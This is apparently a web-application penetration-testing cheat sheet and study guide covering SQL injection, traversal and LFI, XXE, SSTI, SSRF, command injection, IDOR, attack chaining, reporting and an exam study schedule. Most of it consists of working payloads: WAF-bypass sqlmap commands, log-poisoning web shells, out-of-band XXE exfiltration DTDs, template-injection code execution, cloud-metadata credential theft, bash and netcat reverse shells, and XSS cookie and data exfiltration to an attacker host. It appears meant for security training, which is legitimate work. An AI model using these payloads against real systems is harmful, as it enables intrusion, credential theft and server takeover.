sqlmap -r req.txt --tamper=space2comment,between,charencode,randomcase   # WAF-bypass tamper scripts
sqlmap -r req.txt --random-agent --threads=10 --proxy=http://127.0.0.1:8080   # evasion + speed + via Burp
sqlmap -r req.txt --os-shell      # attempt OS shell (RCE) where supported
sqlmap -r req.txt --sql-shell     # interactive SQL shell
sqlmap --list-tampers             # list WAF-bypass tamper scripts

-- case variation (defeat case-sensitive signatures):
uNiOn sElEcT        SeLeCt
-- inline comments to break keywords (MySQL):
UN/**/ION SE/**/LECT        /*!UNION*/ /*!SELECT*/     (versioned comments execute in MySQL)
-- whitespace alternatives (when spaces are filtered):
UNION/**/SELECT     UNION%0aSELECT     UNION%09SELECT     UNION(SELECT(1))
-- no-space extraction via parentheses:
'UNION(SELECT(username),(password)FROM(users))-- -
-- quotes filtered → use CHAR()/hex:
WHERE name=CHAR(97,100,109,105,110)        WHERE name=0x61646d696e
-- OR filtered → alternatives:  ' || 1=1-- -   ' OR 2>1-- -   (and double-write tricks if OR is stripped)
-- sqlmap --tamper applies these automatically (space2comment, between, charencode, randomcase, etc.)

# Linux
http://target.com/download?file=../../../../../../etc/passwd
# Windows
http://target.com/download?file=..\..\..\..\..\..\windows\win.ini
http://target.com/download?file=../../../../../../windows/win.ini

../                               standard
..%2f        (URL-encoded /)      ..%2f..%2f..%2fetc/passwd
%2e%2e%2f    (encoded ../)        %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f      (double-encoded)     ..%252f..%252f..%252fetc%252fpasswd       (filter decodes once)
....//       (nested — defeats one round of ../ stripping)   ....//....//....//etc/passwd
..%c0%af     (overlong UTF-8)     %c0%ae%c0%ae%c0%af
..%5c / ..\  (backslash)          Windows path separators
# absolute path (if the base dir isn't strictly enforced):
file=/etc/passwd
# null byte (legacy platforms) to truncate an appended extension:
file=../../../../etc/passwd%00.jpg
# traversal + the app's expected extension (if it appends one):
file=../../../../etc/passwd%00    or use php wrappers (§26/LFI)

Linux:   /etc/passwd  /etc/shadow (if readable)  /etc/hosts  /etc/issue  /proc/self/environ
         /var/www/html/config.php  (app config/creds)  .env  /var/log/apache2/access.log  (→ log poison)
         ~/.ssh/id_rsa  ~/.bash_history  the app's source files (.php/.py/.java)  database config files
Windows: C:\windows\win.ini  C:\windows\system32\drivers\etc\hosts  C:\inetpub\wwwroot\web.config
App:     source code, config files, backups (*.bak/*.old), .env, credentials, secret keys

# LFI power-ups (PHP), if the parameter is include()'d:
?page=php://filter/convert.base64-encode/resource=config.php   → read source (base64-encoded)
?page=../../../../var/log/apache2/access.log                   → include a log you poisoned with PHP
#   (poison: send a request with  User-Agent: <?php system($_GET['c']); ?>  then include the log &c=id)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
<!-- the file's contents appear wherever &xxe; is reflected in the response -->

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<foo>&xxe;</foo>

<!-- sent to the target: -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.1.1/evil.dtd"> %xxe; ]>
<foo>bar</foo>

<!-- evil.dtd hosted on YOUR server (192.168.1.1): reads a file and exfiltrates it to you -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://192.168.1.1/?x=%file;'>">
%eval;
%exfil;

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

${7*7}      {{7*7}}      <%= 7*7 %>      #{7*7}      *{7*7}      {7*7}

${{<%[%'"}}%\         (breaks and reveals the engine via the error message)
{{7*7}} → 49  (Jinja2/Twig)      ${7*7} → 49  (Freemarker/Velocity)
{{7*'7'}} → 7777777 (Jinja2)  vs  49 (Twig)      — distinguishes Jinja2 from Twig

# Jinja2 (Python) — reach os via the object chain:
{{7*7}}                                                    # confirm
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}             # enumerate classes (find Popen index)

# Twig (PHP):
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
# Freemarker (Java):
<#assign x="freemarker.template.utility.Execute"?new()>${ x("id") }
# Velocity (Java):
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
# ERB (Ruby):
<%= system("id") %>      <%= `id` %>      <%= IO.popen('id').read %>
# Smarty (PHP):
{system('id')}      {php}system('id');{/php}
# Handlebars / Pug (Node) — engine-specific constructor/prototype gadgets.

tplmap -u "http://target.com/page?name=John"              # detect & identify engine
tplmap -u "http://target.com/page?name=John" --os-shell   # attempt RCE shell

url=http://localhost/admin              # internal-only admin panel
url=http://127.0.0.1:8080/              # internal service on another port
url=http://127.0.0.1:22                 # internal port scan (response/timing differs by open/closed)
url=http://192.168.0.1/                 # internal network hosts (fuzz the last octet)
url=file:///etc/passwd                  # local file read (if file:// scheme allowed)
url=http://169.254.169.254/latest/meta-data/   # cloud metadata (AWS) — see below

# AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>   → temporary AWS keys
# GCP (requires header  Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (requires header  Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

url=http://192.168.1.1/     or     url=http://<collab-id>.oast.site/
# if your server / Burp Collaborator receives the request → the fetch happened (SSRF confirmed).
# even blind, SSRF can port-scan internally (via timing) and hit internal state-changing endpoints.

# alternate localhost/internal representations:
http://127.0.0.1/   http://localhost/   http://0.0.0.0/   http://[::1]/
http://127.1/       http://0/           http://2130706433/            (decimal IP for 127.0.0.1)
http://0x7f000001/  http://0177.0.0.1/                                (hex / octal)
# DNS / allow-list tricks:
http://127.0.0.1.nip.io/      http://localtest.me/                    (resolve to 127.0.0.1)
http://attacker.com@127.0.0.1/     http://127.0.0.1#@allowed.com/     (userinfo / fragment confusion)
http://allowed.com.attacker.com/                                      (suffix trick)
# open-redirect chain: point the fetch at a same-site open redirect that forwards to http://127.0.0.1/admin
# protocol smuggling: gopher://127.0.0.1:6379/_<redis-commands>       (interact with internal TCP services)
# URL encoding: http://%6c%6f%63%61%6c%68%6f%73%74/                   (encoded "localhost")

;        run after                 ping 127.0.0.1; whoami
&&       run if previous succeeds  ping 127.0.0.1 && whoami
||       run if previous fails     ping 999 || whoami
|        pipe                      ping 127.0.0.1 | whoami
&        background/separator      ping 127.0.0.1 & whoami
`cmd`    command substitution      ping `whoami`.attacker.com
$(cmd)   command substitution      ping $(whoami).attacker.com
%0a      newline (URL-encoded \n)  127.0.0.1%0awhoami

# visible (in-band) — inject and read the command output in the response:
127.0.0.1; whoami         127.0.0.1 && id        | cat /etc/passwd
# quick info-gathering:  whoami ; id ; uname -a ; hostname ; pwd ; ls -la

# 1) TIME DELAY (response delayed → command ran):
& ping -c 10 127.0.0.1 &          (Linux, ~10s)      & ping -n 10 127.0.0.1 &   (Windows)
& sleep 10 &
# 2) OUT-OF-BAND (force a DNS/HTTP callback to YOUR server / Collaborator):
& nslookup <collab-id>.oast.site &        & curl http://192.168.1.1/ &
# exfiltrate command output via the subdomain/URL:
& nslookup `whoami`.<collab-id>.oast.site &       | curl http://192.168.1.1/?x=$(whoami)
# 3) OUTPUT REDIRECTION to a web-accessible file, then read it:
& whoami > /var/www/html/out.txt &        (then browse /out.txt)

# Linux:
; bash -c 'bash -i >& /dev/tcp/192.168.1.1/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.1 4444 >/tmp/f
; nc -e /bin/bash 192.168.1.1 4444
# listener: nc -lvnp 4444 ; then stabilize: python3 -c 'import pty;pty.spawn("/bin/bash")' → Ctrl+Z → stty raw -echo; fg

w`'h'`oami           who$()ami           who${IFS}ami         # $IFS for spaces when spaces filtered
cat</etc/passwd      c''at /e'tc'/pa'ss'wd                    # break keywords with quotes
/???/??t /etc/passwd                                         # wildcards
$(printf '\x77\x68\x6f\x61\x6d\x69')                         # build the command from hex
# encode the whole payload (base64 → decode & exec):  echo d2hvYW1p|base64 -d|sh

# view another user's data by changing the ID:
GET /account?id=1001        →  change to  id=1002        (another user's account)
GET /api/users/1001/profile →  /api/users/1002/profile
GET /invoice?num=5551        →  /invoice?num=5552        (another customer's invoice)
GET /download?file=report_1001.pdf → report_1002.pdf     (file-based IDOR)
# modify/act on another user's object:
POST /account/update   {"user_id":1002, "email":"[email protected]"}   (change another user's email)
DELETE /api/posts/42   (delete a post you don't own)

1. IDENTIFY object references in requests: numeric IDs (id, uid, user, account, order, invoice, doc,
   file), UUIDs, usernames, filenames, or any parameter pointing to a specific record/resource.
2. CAPTURE a request for YOUR OWN object (via Burp) → note the reference.
3. CHANGE the reference to another value (another user's ID, an adjacent number, a different filename):
   - sequential IDs: increment/decrement (1001 → 1002, 1000, ...).
   - fuzz a range with Burp Intruder / Wfuzz to enumerate others' objects at scale.
   - UUIDs/non-sequential: find them elsewhere (another endpoint, a listing, a leaked reference).
4. OBSERVE: do you get/modify ANOTHER user's data/action? → IDOR confirmed (no authorization check).
5. Test ALL operations (view/edit/delete) and ALL object types; test with a low-priv account to reach
   high-priv objects (horizontal AND vertical access control).

# Burp Intruder: set the ID as the payload position, numbers payload (e.g., 1-5000), run, sort by
#   response length/status to find valid other-user objects.
# Wfuzz:
wfuzz -c -z range,1000-2000 --hc 404 -b "session=<your-cookie>" "http://target.com/account?id=FUZZ"
# ffuf similar; watch for 200s / differing sizes revealing accessible objects.

- Horizontal IDOR: access another user's data at the SAME privilege level (user→user).
- Vertical access control / "BFLA": access higher-privilege functions (user→admin endpoints,
   e.g., POST /admin/deleteUser) — test admin/privileged actions as a normal user.
- Parameter/mass-assignment adjacent: change a role/owner field ("role":"admin","user_id":other).
- Predictable/guessable references (sequential IDs, timestamps, weak hashes) make IDOR trivial.
- File/path IDOR: swapping filenames/paths to reach others' files (overlaps with traversal, §18).

XSS → Session Theft → Account Takeover
  Stored XSS on an admin-viewed page → exfiltrate the admin cookie → set it → admin ATO (§10).

XSS → CSRF-via-XSS → Privileged Action / ATO
  Same-origin XSS reads the anti-CSRF token → forces "change email"/"add admin" → account takeover (§10/§12).

CORS misconfig → Authenticated Data Theft → ATO
  Reflective CORS + credentials → attacker page reads the victim's data/tokens → takeover (§13).

SQLi → Credential Dump → Admin Login → Admin-Panel RCE
  SQLi dumps the users table → crack the admin hash → log into /admin → use an admin feature
  (upload/template editor) for RCE (§15/§17).

SQLi → Auth Bypass → Admin Access
  ' OR 1=1-- - logs in as admin directly (§15).

LFI / Directory Traversal → Source/Secret Disclosure → further attack
  Read config.php → DB creds / API keys → authenticate to the DB/API; or LFI → log poisoning → RCE (§18).

SSRF → Cloud Metadata → Cloud Credential Theft
  SSRF → 169.254.169.254/.../security-credentials → steal cloud keys → cloud access (§21).

SSRF → Internal Service → Unauthorized Action / RCE
  SSRF reaches an internal admin panel or a vulnerable internal service → action/RCE (§21).

XXE → SSRF → Cloud Metadata
  XXE SYSTEM entity → http://169.254.169.254/... → cloud credentials (§19/§21).

SSTI → RCE → Server Compromise
  {{...os.popen...}} → command execution → reverse shell (§20/§22).

Command Injection → RCE → Reverse Shell → internal pivot
  separator + reverse shell → full server control (§22).

IDOR (enumerable) → Mass Data Access → Breach; or IDOR change-email → password reset → ATO (§23).

Open Redirect → Token/OAuth theft, or SSRF allow-list bypass (supporting link in chains).

- What context/privilege does this give me? (whose session, which origin, what access)
- What can I reach FROM here that I couldn't before? (internal services, other users, filesystem, DB)
- Can its output feed another vuln's input? (SSRF URL → metadata; LFI read → source → new bug; SQLi dump → creds → login)
- Can I become someone more privileged? (session theft, token forging, privilege/role change)
- Can I turn "read" into "write", or "write" into "execute"? (file read → log poison → RCE)

1. RECON & FINGERPRINT (§4)
   - identify server/framework/language/CMS/technologies (whatweb/nikto/headers/cookies); detect WAF.
   - nmap the host for web (and other) services.

2. MAP THE APPLICATION (§4)
   - browse EVERY feature through Burp (log in, exercise all functionality) → full site map.
   - capture every page, endpoint, parameter, form, header, cookie, and API call.

3. DISCOVERY (§5) — find the hidden attack surface
   - directory/file brute force (Gobuster/ffuf/feroxbuster) → admin panels, backups, APIs, .git/.env.
   - PARAMETER discovery (Wfuzz/Arjun/Param Miner) → hidden injectable params.
   - crawl + JavaScript review (Hakrawler, read JS/comments) → endpoints, params, secrets.
   - read robots.txt / sitemap.xml.

4. ANALYZE INPUTS → TEST EACH AGAINST ITS VULN CLASS (the matrix, §4)
   For every input (param/header/cookie/body/path/file), determine where it flows and test:
     reflected? → XSS (§7-11)        in a query? → SQLi (§14-17)       in a command? → CmdInj (§22)
     a URL fetched? → SSRF (§21)     a file path? → Traversal/LFI (§18) parsed as XML? → XXE (§19)
     a template? → SSTI (§20)        an object ref? → IDOR (§23)       state-change? → CSRF (§12)
     cross-origin read? → CORS (§13)
   Also test auth/session, access control (horizontal & vertical), and business logic.

5. EXPLOIT (§7-23)
   - confirm and weaponize each finding with reliable proof (reflected/executed marker, extracted data,
     OOB callback, command output); use offensive JS (§6) to demonstrate impact.

6. CHAIN & ESCALATE (§24)
   - combine findings for maximum impact (XSS→ATO, SQLi→RCE, SSRF→cloud, LFI→source→RCE).

7. DOCUMENT (§26)
   - capture requests/responses, payloads, impact, and reproduction steps AS YOU GO for the report.

1. whatweb → PHP/Apache; nikto → no WAF. gobuster → finds /admin (403) and an unlinked /api/.
2. Map the app via Burp; find a product page /item.php?id=1 and a feedback form.
3. Discovery: Arjun on /item.php reveals a hidden 'debug' param; Hakrawler + JS review reveal
   /api/user?id= (an API endpoint not in the UI).
4. Test inputs:
   - /item.php?id=1 → inject ' → SQL error → SQLi. UNION → dump users table → admin hash.
   - feedback 'message' → stored, rendered on an admin review page → STORED XSS (blind-tested with a
     callback payload → fires in the admin panel → blind XSS confirmed, admin context).
   - /api/user?id=1001 → change to 1002 → another user's data → IDOR.
5. Exploit & chain:
   - crack the admin hash (from SQLi) → but also the stored XSS gives the admin cookie directly →
     either path → ADMIN ACCESS.
   - from the admin panel, a template/upload feature → RCE (chain).
6. Report: SQLi (High→data breach), Stored/Blind XSS→Admin ATO (Critical), IDOR (High), chained to
   full compromise — each with PoC, impact, reproduction, and mitigation.

1. Executive Summary      — business-level overview: overall risk, key findings, impact (plain language).
2. Scope & Methodology    — what was tested (URLs/app), timeframe, approach, tools, standards (OWASP WSTG).
3. Findings               — one entry PER vulnerability (or chain), each with:
      • Title             — clear & specific ("Stored XSS in feedback form → admin account takeover")
      • Severity          — Critical/High/Medium/Low (impact × likelihood; CVSS + justification)
      • Affected endpoint/parameter
      • Description       — what the vulnerability is and WHY it exists
      • Proof of Concept  — the exact request(s)/payload(s) + response/screenshots (REPRODUCIBLE)
      • Steps to Reproduce— precise, repeatable
      • Impact            — concrete consequence (data breach, ATO, RCE, unauthorized access)
      • Remediation       — specific, actionable fix
      • References        — OWASP/CWE
4. Attack Narrative       — the story of how findings CHAIN into high impact (the capstone value-add).
5. Remediation Summary    — prioritized list of fixes.
6. Appendices             — full payloads, tool output, extra evidence.

CRITICAL  RCE (SSTI/command-injection/SQLi-to-shell), SQLi with data breach, auth bypass to admin,
          stored XSS → admin ATO, SSRF → cloud takeover, full chains to compromise.
HIGH      significant data exposure, mass IDOR, XXE file read, LFI, reflected/stored XSS (impactful),
          SSRF to internal, CORS data theft.
MEDIUM    reflected XSS (limited), CSRF on sensitive actions, info disclosure, directory traversal (read).
LOW       verbose errors, minor misconfig, missing security headers.

gobuster dir -u http://T -w directory-list-2.3-medium.txt -x php,html,txt,bak,zip -b 403,404 -t 50
ffuf -w wl.txt -u http://T/FUZZ -mc 200,301,302,403 -e .php,.bak,.zip -recursion
wfuzz -c -z file,burp-parameter-names.txt --hh <base> "http://T/page.php?FUZZ=1"   # params
arjun -u http://T/page.php                                                         # params
echo http://T | hakrawler -d 3                                                     # crawl/endpoints
curl -s http://T/app.js | grep -iE 'api|token|key|secret|/[a-z]'                   # endpoints/secrets in JS

<script>alert(document.domain)</script>     "><script>alert(1)</script>     <svg onload=alert(1)>
<img src=x onerror=alert(1)>     " autofocus onfocus=alert(1) x="     '-alert(1)-'     javascript:alert(1)
# loader:            "><script src=http://192.168.1.1></script>
# base64 loader:     "><img src=x id=<base64> onerror=eval(atob(this.id))>
# cookie exfil:      <script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
# read+exfil same-origin: <script>fetch('/api/key',{credentials:'include'}).then(r=>r.text()).then(d=>new Image().src='http://192.168.1.1/x?d='+btoa(d))</script>
# page replace:      <img src=x onerror="window.location.replace('http://192.168.1.1/p.html')">
# bypass:  <ScRiPt>..</ScRiPt>  <scr<script>ipt>..  <svg onload=alert`1`>  <svg onload=eval(atob('...'))>

fetch("https://T/api/newuser",{method:'POST',mode:'no-cors',credentials:'include',
 headers:{'Content-Type':'application/x-www-form-urlencoded'},body:"username=MyUser"});

curl -s -I https://T/api/account -H "Origin: https://evil.com" | grep -i access-control
# exploit: fetch('https://T/api/account',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('http://192.168.1.1/?d='+btoa(d),{mode:'no-cors'}))

' | " | '-- - | ' OR 1=1-- - | admin'-- -                          # detect / auth bypass
' ORDER BY N-- -   ' UNION SELECT NULL,NULL-- -   ' UNION SELECT user(),@@version-- -
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT group_concat(username,0x3a,password),NULL FROM users-- -
' AND SLEEP(5)-- -  (MySQL) | '; WAITFOR DELAY '0:0:5'-- - (MSSQL) | ' AND pg_sleep(5)-- - (PG)
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -           # error-based
sqlmap -r req.txt -p id --batch --dbs ; sqlmap -r req.txt -D db -T users --dump --tamper=space2comment

?file=../../../../etc/passwd        ..%2f..%2f..%2fetc%2fpasswd        ....//....//etc/passwd
?page=php://filter/convert.base64-encode/resource=config.php        (read source)

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<!DOCTYPE foo [<!ENTITY % x SYSTEM "http://192.168.1.1/evil.dtd">%x;]>   (OOB)

{{7*7}}  ${7*7}  <%= 7*7 %>  #{7*7}       # detect
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}        (Jinja2)
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}         (Freemarker)
<%= system("id") %>   {system('id')}                                       (ERB / Smarty)

url=http://127.0.0.1/admin   http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://2130706433/   http://127.0.0.1@evil / http://localhost#@allowed   http://<collab>/   (blind)

; whoami | id && id `whoami` $(id) %0awhoami      & ping -c10 127.0.0.1 &   & nslookup $(whoami).<collab> &
; bash -c 'bash -i >& /dev/tcp/192.168.1.1/4444 0>&1'      # reverse shell (nc -lvnp 4444)

GET /account?id=1001 → 1002 ...   | fuzz:  wfuzz -z range,1000-2000 -b "session=<c>" "http://T/account?id=FUZZ"

python3 -m http.server 80          # host payloads / catch exfil
python3 cors_server.py             # §6 CORS server (host secondary payloads + cross-origin exfil)
nc -lvnp 4444                      # reverse shell / exfil listener
# Burp Collaborator / interactsh — OOB confirmation for blind XSS/SSRF/XXE/SQLi/cmd-injection
echo -n '<js>' | base64            # encode payloads   ;   base64 -d   # decode

Weeks 1–2  Fundamentals & tooling: HTTP, SOP, encoding (§2); Burp mastery, Nmap/Gobuster/Wfuzz/Hakrawler
           (§3); methodology & the testing matrix (§4); file/dir/PARAMETER discovery (§5).
Weeks 2–3  Offensive JavaScript (§6) — write exfil/session-theft/CSRF-via-XSS/loader payloads; stand up
           your payload/CORS server.
Weeks 3–4  XSS deep: reflected/stored/DOM/blind (§7-11); contexts, discovery, filter bypass, weaponization.
           Do every PortSwigger XSS lab.
Weeks 4–5  SQLi deep: fundamentals/in-band/UNION (§15), blind/error/OOB (§16), fuzzing & sqlmap & bypass
           (§17); database enumeration (§14). Do every PortSwigger SQLi lab.
Weeks 5–6  CSRF (§12), CORS (§13) — and offensive-JS exploitation of each.
Week  6–7  Server-side: traversal/LFI (§18), XXE (§19), SSTI (§20), SSRF (§21), command injection (§22),
           IDOR (§23). PortSwigger labs for each.
Weeks 7–8  Chaining (§24) & full assessment methodology (§25) — run end-to-end assessments on vulnerable
           apps; practice the whole flow under time pressure.
Weeks 8+   Reporting (§26) — write professional findings with PoCs; mock exam + report under exam conditions.